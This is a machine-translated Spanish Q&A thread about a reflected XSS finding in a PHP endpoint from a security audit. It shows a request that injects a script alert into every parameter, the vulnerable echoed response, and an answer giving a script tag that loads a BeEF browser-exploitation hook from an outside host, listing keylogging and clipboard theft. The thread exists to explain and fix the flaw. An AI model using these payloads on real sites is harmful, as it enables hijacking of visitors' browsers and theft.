it-swarm-es.com

Obtener parámetros adicionales conduce a "inyección de código" en html que se muestra

Tenemos una revisión de seguridad hecha de nuestro PHP y la compañía de seguridad envió esto en su informe:

Solicitar

GET /appdir/ajax/addAvail.php?counter=1216%3cscript%3ealert(0)%3c%2fscript%3e&from=1216%3cscript%3ealert(0)%3c%2fscript%3e&to=1216%3cscript%3ealert(0)%3c%2fscript%3e&day=1216%3cscript%3ealert(0)%3c%2fscript%3e&parentDiv=1216%3cscript%3ealert(0)%3c%2fscript%3e&type=1216%3cscript%3ealert(0)%3c%2fscript%3e&date=1216%3cscript%3ealert(0)%3c%2fscript%3e&showdate=1216%3cscript%3ealert(0)%3c%2fscript%3e
HTTP/1.1 
Host: localhost 
Proxy-Connection: keep-alive 
User-Agent: x 
Content-Length: 0 
Cache-Control: max-age=0 
Origin: null 
Accept: text/html 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 

Respuesta

HTTP/1.1 200 OK 
Date: Fri, 17 Dec 2010 00:46:48 GMT 
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_Perl/2.0.4 Perl/v5.10.1 
X-Powered-By: PHP/5.3.1 
Set-Cookie: PHPSESSID=q832q9c0ftdsat8r55dg32taf7; path=/ 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache 
Content-Length: 928 
Content-Type: text/html 
<div class="time_row" id="days_time_container1216<script>alert(0)</script>"> 
<div class="day_holder">1216<script>alert(0)</script></div> 
<div class="time_holder">1216<script>alert(0)</script> <span>-</span> 1216<script>alert(0)</script></div> 
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('1216<script>alert(0)</script>','days_time_container1216<script>alert(0)</script>','decrementDays')" class="link4">Remove</a></div> 
<div class="clear"></div> 
<input type="hidden" id="hday1216<script>alert(0)</script>" name="hday1216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 

<input type="hidden" id="hfrom11216<script>alert(0)</script>" name="hfrom11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
<input type="hidden" id="hto11216<script>alert(0)</script>" name="hto11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
</div>

Si accede directamente al guión a través de Firefox (encabezados reportados por Firebug)

/appdir/ajax/addAvail.php

HTTP/1.1 200 OK
Date: Sat, 25 Dec 2010 03:30:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: no-cache, no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="time_row" id="days_time_container">
<div class="day_holder"></div>
<div class="time_holder">   <span>-</span>   </div>
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('','days_time_container','decrementDays')" class="link4">Remove</a></div>
<div class="clear"></div>
<input type="hidden" id="hday" name="hday" value="">

<input type="hidden" id="hfrom1" name="hfrom1" value="">
<input type="hidden" id="hto1" name="hto1" value="">
</div>

Estoy tratando de entender por qué esto podría ser problemático. Por supuesto, lo haré, preguntaré a la compañía de seguridad, pero también estoy tratando de evaluarlos y ver qué tiene que decir la comunidad antes de que me den una respuesta de rotonda.

Además, esto está relacionado con Revisión de seguridad: "HTTP Header User-Agent se ha establecido en (algo)" en el sentido de que ambas cuestiones se identificaron en el mismo informe.

7
siliconpi

XSS Puede ser muy peligroso de muchas maneras.

Por ejemplo, si inyecto el siguiente bit de XSS en su código, todos los clientes que visiten este código con JavaScript habilitados se convertirían en un zombi en mi marco de carne (marco de explotación del navegador):

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

Una vez que alguien busque una página con esa inclusión de script en él, el marco automáticamente me permite saber y básicamente me permite elegir entre una caja de herramientas de cosas desagradables. Para nombrar algunos, que todos se pueden configurar en Autorun cuando los nuevos registros de Zombie:

  • Módulos de explotación del navegador (incluso integrados con metasploit)
  • Metasploit Autopwn (Yepp .. One Click One Pwn)
  • Puerto de exploración LAN
  • Detección de tor
  • Keylogging
  • Vea lo que el usuario ve la funcionalidad.
  • Páginas visitadas BruteForcing
  • Robo de portapapeles
  • Detectar complementos

¡XSS puede ser muy peligroso!

Actualización : En su situación específica, me parece que está buscando una vulnerabilidad XSS no persistente. Esto significa que para que este hazlo sea afectar a otros usuarios, los atacantes tendrían que distribuir la URL a víctimas desprevenidas para que lo carguen. Sin embargo, esto no es una vista poco común.

8
Chris Dale

Esta es una clásica Vulnerabilidad XSS . El peligro aquí es que el atacante externo podría inyectar un código aleatorio en la página. Si esta página se muestra en un contexto de privilegio elevado, esencialmente es igual al atacante que tiene control sobre el navegador del usuario al acceder a esta página, por lo que el atacante podrá realizar cualquier acción que el usuario pueda realizar. Por ejemplo, si es un sitio de comercio electrónico, el atacante podría simular al usuario comprar algo, incluso si el usuario no pretendía comprar nada. Puedes imaginar lo mal que puede ser.

Dado que hay muchas formas de dirigir a alguien para cargar CIERTE URL, ambos abiertos ("Haga clic en este enlace para obtener toneladas de cosas gratis") y encubierta (marcos ocultos, etc.)): tener tal cosa en el sitio es muy peligroso.

6
StasM